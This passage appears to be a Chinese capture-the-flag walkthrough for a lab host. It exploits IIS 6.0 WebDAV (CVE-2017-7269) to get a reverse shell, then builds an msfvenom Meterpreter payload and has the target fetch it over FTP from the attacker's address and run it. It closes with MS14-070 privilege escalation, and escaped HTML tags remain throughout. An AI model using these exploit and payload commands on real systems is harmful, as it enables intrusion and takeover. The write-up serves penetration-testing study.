<\/ul>
1.2 WebDAV验证<\/h3>
使用whatweb进行Web指纹识别：<\/p>
whatweb http:\/\/10.10.10.14\/
<\/span><\/span><\/code><\/pre>2. 漏洞利用(CVE-2017-7269)<\/h2>
2.1 漏洞背景<\/h3>
IIS 6.0 WebDAV组件存在缓冲区溢出漏洞，允许远程代码执行。<\/p>
2.2 利用脚本分析<\/h3>
提供的Python脚本(iis6webdav.py)包含以下关键部分：<\/p>

参数检查：<\/li>
<\/ol>
if<\/span> len(sys.<\/span>argv)<<\/span>5<\/span>:
<\/span><\/span>    print 'usage:iis6webdav.py targetip targetport reverseip reverseport<\/span>\n<\/span>'<\/span>
<\/span><\/span>    exit(1<\/span>)
<\/span><\/span><\/code><\/pre>
Shellcode构造：<\/li>
<\/ol>

包含1744字节的精心构造的shellcode<\/li>
使用struct.pack处理IP和端口：<\/li>
<\/ul>
struct.<\/span>pack('i'<\/span>,reverseport)
<\/span><\/span>struct.<\/span>pack('16s'<\/span>,reverseip)
<\/span><\/span><\/code><\/pre>
漏洞触发载荷：<\/li>
<\/ol>

使用PROPFIND方法<\/li>
包含精心构造的UTF-8字符序列触发溢出<\/li>
<\/ul>
2.3 执行利用<\/h3>
python2 exp.py 10.10.10.14 80<\/span> 10.10.16.24 10034<\/span>
<\/span><\/span><\/code><\/pre>3. 后渗透阶段<\/h2>
3.1 建立Meterpreter会话<\/h3>

设置监听器：<\/li>
<\/ol>
msfconsole
<\/span><\/span>use exploit\/multi\/handler
<\/span><\/span>set payload windows\/meterpreter\/reverse_tcp
<\/span><\/span>set LHOST 10.10.16.24
<\/span><\/span>set LPORT 10032<\/span>
<\/span><\/span>run
<\/span><\/span><\/code><\/pre>3.2 文件传输<\/h3>

启动临时FTP服务器(Python实现)：<\/li>
<\/ol>
from<\/span> pyftpdlib.authorizers import<\/span> DummyAuthorizer
<\/span><\/span>from<\/span> pyftpdlib.handlers import<\/span> FTPHandler
<\/span><\/span>from<\/span> pyftpdlib.servers import<\/span> FTPServer
<\/span><\/span>
<\/span><\/span>def<\/span> start_ftp_server<\/span>():
<\/span><\/span>    authorizer =<\/span> DummyAuthorizer()
<\/span><\/span>    authorizer.<\/span>add_user("test"<\/span>, "test"<\/span>, "."<\/span>, perm=<\/span>"elradfmwMT"<\/span>)
<\/span><\/span>    authorizer.<\/span>add_anonymous("."<\/span>)
<\/span><\/span>    handler =<\/span> FTPHandler
<\/span><\/span>    handler.<\/span>authorizer =<\/span> authorizer
<\/span><\/span>    server =<\/span> FTPServer(("0.0.0.0"<\/span>, 21<\/span>), handler)
<\/span><\/span>    print("Starting FTP server on port 21..."<\/span>)
<\/span><\/span>    server.<\/span>serve_forever()
<\/span><\/span>
<\/span><\/span>if<\/span> __name__ ==<\/span> "__main__"<\/span>:
<\/span><\/span>    start_ftp_server()
<\/span><\/span><\/code><\/pre>
生成并传输payload：<\/li>
<\/ol>
msfvenom -p windows\/meterpreter\/reverse_tcp LHOST=<\/span>10.10.16.24 LPORT=<\/span>10032<\/span> -f exe -a x86 --platform windows -o payload.exe
<\/span><\/span><\/code><\/pre>
目标机下载payload：<\/li>
<\/ol>
cd<\/span> %TEMP%
<\/span><\/span>(echo<\/span> open 10.10.16.24 & echo<\/span> user test test & echo<\/span> binary & echo<\/span> get payload.exe & echo<\/span> bye) | ftp -n
<\/span><\/span>payload.exe
<\/span><\/span><\/code><\/pre>4. 权限提升(MS14-070)<\/h2>
4.1 漏洞检测<\/h3>
使用Metasploit的本地漏洞检测模块：<\/p>
use post\/multi\/recon\/local_exploit_suggester
<\/span><\/span>set SESSION 1<\/span>
<\/span><\/span>run
<\/span><\/span><\/code><\/pre>4.2 执行权限提升<\/h3>
use exploit\/windows\/local\/ms14_070_tcpip_ioctl
<\/span><\/span>set LHOST 10.10.16.24
<\/span><\/span>set SESSION 1<\/span>
<\/span><\/span>run
<\/span><\/span><\/code><\/pre>5. 关键成果<\/h2>
